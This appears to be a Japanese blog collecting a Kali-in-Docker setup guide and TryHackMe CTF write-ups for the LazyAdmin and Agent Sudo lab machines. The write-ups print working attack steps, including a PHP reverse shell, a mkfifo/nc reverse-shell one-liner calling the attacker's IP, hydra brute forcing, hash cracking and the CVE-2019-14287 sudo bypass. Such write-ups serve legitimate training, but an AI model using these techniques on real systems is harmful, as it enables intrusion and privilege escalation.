Trance Shift 8 - Tech

@skyriserの技術系ネタメモ。とりあえずCTFのWriteup書いていく

Dockerコンテナ上のKali LinuxからOpenVPN

Docker for Mac上にKali LinuxのGUI環境を作成する - Trance Shift 8 - Tech

の記事を書いてGUI出来たやったー、さあTryHackMeのCTFやっぞ!と思ったら

ERROR: Cannot open TUN/TAP dev /dev/net/tun: No such file or directory (errno=2)

トンネルI/Fが無く、VPNが張れなかった。

このあたりを参考にすると、

  • Dockerにはデフォルトでネットワーク関連の機能は省略されている
  • priviledged を指定してコンテナを動作させるのが楽だけど、ちょっとリスクが高い
  • そこで、NET_ADMIN だけ付与して動作させるのがよさそう

とのこと。以前の記事では Dockerfile を使ってなかったので、スクリプトに組み込む形にした。 以下にコマンドを変更。

# Host (--cap-add NET_ADMINを追加)
docker run -it --rm \
  -p "5905:5900" \
  -p "8081:8081" \
  -v "kali-xface:/home/kali" \
  -v "$HOME/dev/:/mnt/dev" \
  --cap-add NET_ADMIN \
  --name kali \
  kali-xfce zsh -c 'su - kali'

VPNを張る際に、トンネルI/Fが必要になるので、

# vpn.sh
sudo mkdir -p /dev/net && sudo mknod /dev/net/tun c 10 200
sudo openvpn vpn/***.ovpn

VPN張るスクリプト作って事前にインターフェースを作るようにした。 お行儀良いかどうか微妙だけど、取りあえず。

Docker for Mac上にKali LinuxのGUI環境を作成する

DockerでXfce4が使える。とても便利

CTFなりRedTeamingなりにとても便利なKali Linux。 Try Hack MeとかHack the Boxとかやるのに環境をちゃんと整えてやりたい。というわけで備忘録的にメモ。

Macとかなら普通にコンソール使えるじゃん?という話ではあるのだが、 ペネトレーションテストとかやるためのツールは何かとOSネイティブで動かすと相性が悪く、 例えばMetasploitとかの一部のソースはマルウェアだ!とその手のウイルスプロテクションに怒られたりする。 なので、1枚仮想化して使うことにしてる。

Kali LinuxのOfficalなDocker Imageは kali-rolling という最小イメージしかない。 WindowsのWSL2環境なら、Kali Linuxが用意されてるし、 kex というコマンド一発でGUI環境が準備出来るのだが、Mac上のDocker for Mac環境下だと便利なものがない。ので、構築する必要がある。

Docker for Windowsの場合はそもそも、WSL2の方が良いと思うので割愛。でも同じ手順で出来ると思う。 ちなみにVirtual Box(6.X)はなんか画面の不具合があるらしくてGUI環境だとすげえ重たくて使うのやめた。

lkaszlachさんのkali-desktopがすごく理想に近いので参考にした。

目標

やりたいことはKeXと同じ。

    1. Docker環境下のコンテナであること
    1. GUI環境(Xfce)がVNC or noVNC経由で使えること
    1. ホストとのファイル共有が簡単であること
    2. 具体的にはカレントディレクトリをボリュームマウントする

Kali Linuxの基本セットアップ

# Image pull
docker pull kalilinux/kali-rolling
# Launch/detouch
docker run -itd --rm kalilinux/kali-rolling
=> コンテナIDをメモ (CONTAINER_IDとする)
# ログイン
docker exec -it CONTAINER_ID zsh
# コンテナ内でパッケージのインストール
apt update
# コア (結構時間かかる)
apt install -y kali-linux-core kali-linux-defaults kali-tools-web
# XとVNC周り
apt install -y kali-desktop-xfce x11vnc xvfb novnc dbus-x11

ユーザーも忘れずに作成しておく。 以後は root ではなく kali ユーザーで作業する。 kali ユーザーにしてるのは他の配布イメージと合わせてるのでそうしてる。

# kaliユーザー作成、sudoers登録
adduser kali
usermod -G sudo kali

終わったら忘れずに一旦保存。今回は kali-xfce とした。

# 別名で保存
docker commit CONTAINER_ID kali-xfce
# ログイン確認
docker run -it --rm kali-xfce zsh
# 元のイメージは削除
docker container stop CONTAINER_ID

イメージは13GBぐらいになった。

XとVNCチェック

とりあえずVNCクライアントで動くようにする

# ユーザーログイン 5900はMacのVNCと衝突するので避けた
docker run -p "5905:5900" -it --rm kali-xfce zsh -c 'su - kali'
# DISPLAY env
export DISPLAY=:1
# Xfvb
Xvfb :1 -screen 0 1280x720x24 &
# Start X & VNC
startxfce4 & x11vnc -display :1 -xkb -forever -shared -repeat -listen 0.0.0.0 -nopw -reopen

localhost:5905VNCクライアントで接続確認。 問題なければ進む。

ボリュームの永続化

コンテナは終了しちゃうと初期化されちゃうので、少なくともホームディレクトリだけは永続化しておく。 また、ホストとファイルをやりとりしたいので、ホスト側の特定のディレクトリをマウントしておく 今回は host:~/dev => container:/mnt/dev とした。

docker volume create kali-xfce
# 起動コマンドを変更
docker run -it --rm \
  -p "5905:5900" \
  -v "kali-xface:/home/kali" \
  -v "$HOME/dev/:/mnt/dev" \
  --name kali \
  kali-xfce zsh -c 'su - kali'

noVNC使えるようにする

ブラウザでGUI環境にアクセス出来るのでとても便利。遅延もないし。 ただ、コピペとか出来ないので、その場合はVNC使う

# TCP8081を追加
docker run -it --rm \
  -p "5905:5900" \
  -p "8081:8081" \
  -v "kali-xface:/home/kali" \
  -v "$HOME/dev/:/mnt/dev" \
  --name kali \
  kali-xfce zsh -c 'su - kali'
# DISPLAY env
export DISPLAY=:1
# Xfvb
Xvfb :1 -screen 0 1280x720x24 &
# Start X & VNC
startxfce4 & x11vnc -display :1 -xkb -forever -shared -repeat -listen 0.0.0.0 -nopw -reopen &
# noVNC
/usr/share/novnc/utils/launch.sh --listen 8081 --vnc localhost:5900

上記でnoVNCで使えるはず。 コピペはクリップボード機能経由で。

コマンドまとめ

スクリプトとかにしておくと良い。

# Host
docker run -it --rm \
  -p "5905:5900" \
  -p "8081:8081" \
  -v "kali-xface:/home/kali" \
  -v "$HOME/dev/:/mnt/dev" \
  --name kali \
  kali-xfce zsh -c 'su - kali'
# Container
export DISPLAY=:1
Xvfb :1 -screen 0 1280x720x24 &
startxfce4 & x11vnc -display :1 -xkb -forever -shared -repeat -listen 0.0.0.0 -nopw -reopen &
/usr/share/novnc/utils/launch.sh --listen 8081 --vnc localhost:5900

Writeup | TryHackMe - LazyAdmin

続いてLazy Admin。

Easy linux machine to practice your skills

ホントにEasyですぅ...?

Recon

rustscan -a 10.10.209.210 -- -A
  • 22: SSH
    • 22/tcp open ssh syn-ack OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
  • 80: HTTP
    • 80/tcp open http syn-ack Apache httpd 2.4.18 ((Ubuntu))

80番ポート空いてるので見に行く

It worksだ。

ディレクトリ探る

gobuster dir -u http://10.10.209.210/ --wordlist /usr/share/wordlists/dirb/small.txt
...
===============================================================
/content              (Status: 301) [Size: 316] [--> http://10.10.209.210/content/]
Progress: 959 / 960 (99.90%)===============================================================

SweetRice CMSとかいうのが出てきた

SweetRice CMSにログイン

Exploit DBで探す

面白そうなのを見つけた。

You can access to all mysql backup and download them from this directory.
http://localhost/inc/mysql_backup

and can access to website files backup from:
http://localhost/SweetRice-transfer.zip

URL叩くだけでmysqlのbackupが見れるらしい。まじか。

あったわ...

バックアップしてあるSQLがあるので、持ってくる。

  14 => 'INSERT INTO `%--%_options` VALUES(\'....
  5:\\"admin\\";s:7:\\"manager\\";s:
  6:\\"passwd\\";s:32:\\"42f749ade7f9e195bf475f37a44cafcb\\";s
  ...
  • id: mananger
  • password(hash): 42f749ade7f9e195bf475f37a44cafcb

だと思う。

なんだかよくみるハッシュ。CrackStationによると、MD5Password123

ログイン画面はわからないけど、たまたまExploit DB眺めてた他の脆弱性スクリプトに、

login = r.post('http://' + host + '/as/?type=signin', data=payload)

と書いてあるので、 /as/ がログイン画面っぽい。

ログインできた

リバースシェルが欲しい

Exploit DBによると

この辺が使えそう。書いてある通り、

とりあえずテストで書いてみて
/content/inc/ads/test.php でアクセス出来た

よく見たらCSRFでアップロード出来るって書いてあるから最初の手順要らなかったかも。

phpinfo();

に変更してリバースシェルを作って、PHP側へアクセス。

┌──(kali㉿kali)-[~]
└─$ nc -lvnp 6666
listening on [any] 6666 ...
connect to [10.6.0.155] from (UNKNOWN) [10.10.209.210] 53670
Linux THM-Chal 4.15.0-70-generic #79~16.04.1-Ubuntu SMP Tue Nov 12 11:54:29 UTC 2019 i686 i686 i686 GNU/Linux
 12:45:11 up  1:05,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ 
$ whoami
www-data

User flag

$ ls /home
itguy
$ ls /home/itguy
Desktop
Documents
Downloads
Music
Pictures
Public
Templates
Videos
backup.pl
examples.desktop
mysql_login.txt
user.txt

=> cat user.txt

Root flag

まずは sudo チェック。

$ sudo -l
Matching Defaults entries for www-data on THM-Chal:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on THM-Chal:
    (ALL) NOPASSWD: /usr/bin/perl /home/itguy/backup.pl

一発。特定のコマンドだけperlが実行出来る。

$ cat /home/itguy/backup.pl
#!/usr/bin/perl

system("sh", "/etc/copy.sh");
 ls -la /home/itguy/backup.pl
-rw-r--r-x 1 root root 47 Nov 29  2019 /home/itguy/backup.pl
$ ls -la /etc/copy.sh
-rw-r--rwx 1 root root 81 Nov 29  2019 /etc/copy.sh

なぜかcopy.shは編集出来るようになってる 別のリバースシェル立てておいて、copy.shの中身を

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.6.0.155 7777 >/tmp/f

として、実行

sudo /usr/bin/perl /home/itguy/backup.pl
# ls /root/
root.txt
# whoami
root

=> cat /root/root.txt

Writeup | TryHackMe - Agent Sudo

Hack the Boxに挑戦したら力不足を感じたので、TryHackMeのEasyなCTFを進めていく。

TryHackMe | Agent Sudo

2.Enumerate

How many open ports?

rustscan -a 10.10.80.4 --ulimit 5000
...
PORT   STATE SERVICE REASON
21/tcp open  ftp     syn-ack
22/tcp open  ssh     syn-ack
80/tcp open  http    syn-ack

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.49 seconds

=> 3

How you redirect yourself to a secret page?

80番ポートが空いてるので、

を開くと、

Use your own codename as user-agent to access the site. 

=> user-agent

What is the agent name?

指示に従うと、UAを書き換えれば良い。 HintにUAをCにしろと書いてあるので、

curl -A "C" http://10.10.80.4/ -v
< HTTP/1.1 302 Found
< Date: Fri, 21 Oct 2022 12:36:32 GMT
< Server: Apache/2.4.29 (Ubuntu)
< Location: agent_C_attention.php

リダイレクト先にアクセスすると、

curl -A "C" http://10.10.80.4/agent_C_attention.php -v
Attention chris, <br><br>
Do you still remember our deal? Please tell agent J about the stuff ASAP. Also, change your god damn password, is weak! <br><br>

=> chris

3.Hash cracking and brute-force

FTP password

先ほどの画面によると、「お前のパスワード弱いよ!」と言ってるので、hydraでBruteForce

hydra -l chris -P /usr/share/wordlists/rockyou.txt ftp://10.10.80.4
...
[DATA] attacking ftp://10.10.80.4:21/                                                                                                                                      
[21][ftp] host: 10.10.80.4   login: chris   password: XXXX

Zip file password

-rw-r--r--    1 0        0             217 Oct 29  2019 To_agentJ.txt
-rw-r--r--    1 0        0           33143 Oct 29  2019 cute-alien.jpg
-rw-r--r--    1 0        0           34842 Oct 29  2019 cutie.png

FTP接続して取りあえず全部get

Dear agent J,

All these alien like photos are fake! Agent R stored the real picture inside your directory. Your login password is somehow stored in the fake picture. It shouldn't be a problem for you.

テキストファイルにこう書いてある。binwalkで調べてみると、

binwalk cutie.png 

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             PNG image, 528 x 528, 8-bit colormap, non-interlaced
869           0x365           Zlib compressed data, best compression
34562         0x8702          Zip archive data, encrypted compressed size: 98, uncompressed size: 86, name: To_agentR.txt
34820         0x8804          End of Zip archive, footer length: 22

png画像の方はzipファイルっぽいので、先頭のバイトを取り除く

vim -b cutie.png

zipファイルのヘッダーは先頭が 50 4b 03 04

ZIP101 an archive walkthrough
imgur.com

ここから上を削除する バイナリエディタWindowsに持ってきてStirlingを使ったけど、hexeditorが使えるようになった方がいいかもしれない。vimバイナリエディタはちょっと使いにくい...

50 4b 03 04

7za e cutie.zip

7-Zip (a) [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=ja_JP.UTF-8,Utf16=on,HugeFiles=on,64 bits,8 CPUs AMD Ryzen 7 2700X Eight-Core Processor          (800F82),ASM,AES-NI)

Scanning the drive for archives:
1 file, 280 bytes (1 KiB)

Extracting archive: cutie.zip
--
Path = cutie.zip
Type = zip
Physical Size = 280

    
Enter password (will not be echoed):
ERROR: Wrong password : To_agentR.txt

7zipっぽいので回答しようとするとパスワードを求めらるので、

zip2john cutie.zip > cutie.zip.hash
john cutie.zip.hash --wordlist=/usr/share/wordlists/rockyou.txt

数秒で割り出せる

steg password

先ほどのzipを解凍すると、中に To_agentR.txt が入ってる。 中身は、

We need to send the picture to 'QXJlYTUx' as soon as possible!

stegとはsteganographyのことだと思う。 もう片方の画像を見てみる。

steghide info cute-alien.jpg 
"cute-alien.jpg":
  format: jpeg
  capacity: 1.8 KB
Try to get information about embedded data ? (y/n) y
Enter passphrase: 
steghide: could not extract any data with that passphrase!

steghideで調べると何か埋まってるが、QXJlYTUx がパスワードではない。 大文字小文字がある + xが存在してるので、BASE64っぽい。デコードしてみると、

echo QXJlYTUx | base64 --decode

6文字なのでこれ

Who is the other agent (in full name)?

ファイルを取り出してみる

steghide info cute-alien.jpg     
"cute-alien.jpg":
  format: jpeg
  capacity: 1.8 KB
Try to get information about embedded data ? (y/n) y
Enter passphrase: 
  embedded file "message.txt":
    size: 181.0 Byte
    encrypted: rijndael-128, cbc
    compressed: yes
steghide extract -xf message.txt -sf cute-alien.jpg 
Enter passphrase: 
wrote extracted data to "message.txt".
cat message.txt
Hi james,

Glad you find this message. Your login password is XXXX

Don't ask me why the password look cheesy, ask agent R who set this password for you.

Your buddy,
chris

=> james

SSH password

=> XXXX! だと思うけど、 XXXX で通った (回答自体はどっちでも通る?)

4.Capture the user flag

パスワードは ! 付きの方が正解

# 別の日に再開したのでIPが変わった
ssh james@10.10.180.39
cat user_flag.txt 

What is the incident of the photo called?

また画像がおいてあるので持ってきて、

scp james@10.10.180.39:~/Alien_autospy.jpg .
james@10.10.180.39's password: 
Alien_autospy.jpg

特に変な所はなさそうな画像。質問はこの写真ってなんて呼ばれてるの?なので、 Google画像検索に掛ける => ロズウェル事件 なるほど。

Roswell Incident Foxnews で検索

=> https://www.foxnews.com/science/filmmaker-reveals-how-he-faked-infamous-roswell-alien-autopsy-footage-in-a-london-apartment

Filmmaker reveals how he faked infamous 'Roswell alien autopsy' footage in a London apartment`

=> Roswell alien autopsy

ちょっとわかりにくかった。英語ムズカシイ

5.Privilege escalation

CVE number for the escalation

とりあえずjamesで入る。

ssh james@10.10.180.39

お約束の sudo -l したら気になる記述が。

james@agent-sudo:~$ sudo -l
Matching Defaults entries for james on agent-sudo:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User james may run the following commands on agent-sudo:
    (ALL, !root) /bin/bash

(ALL, !root) /bin/bash ってなんだ?(見たことない)と思って検索したら、

sudo 1.8.27 Security Bypass。

james@agent-sudo:~$ sudo --version
Sudo version 1.8.21p2
Sudoers policy plugin version 1.8.21p2
Sudoers file grammar version 46
Sudoers I/O plugin version 1.8.21p2

たぶんこれだわ。

=> CVE-2019-14287

What is the root flag?

上のExploit DBの通りやる

james@agent-sudo:~$ sudo -u#-1 /bin/bash
root@agent-sudo:~# whoami
root

簡単。

root@agent-sudo:~# cd /root/
root@agent-sudo:/root# ls
root.txt
root@agent-sudo:/root# cat root.txt 
To Mr.hacker,

Congratulation on rooting this box. This box was designed for TryHackMe. Tips, always update your machine. 

Your flag is 
XXXX

By,
DesKel a.k.a Agent R

(Bonus) Who is Agent R?

=> DesKel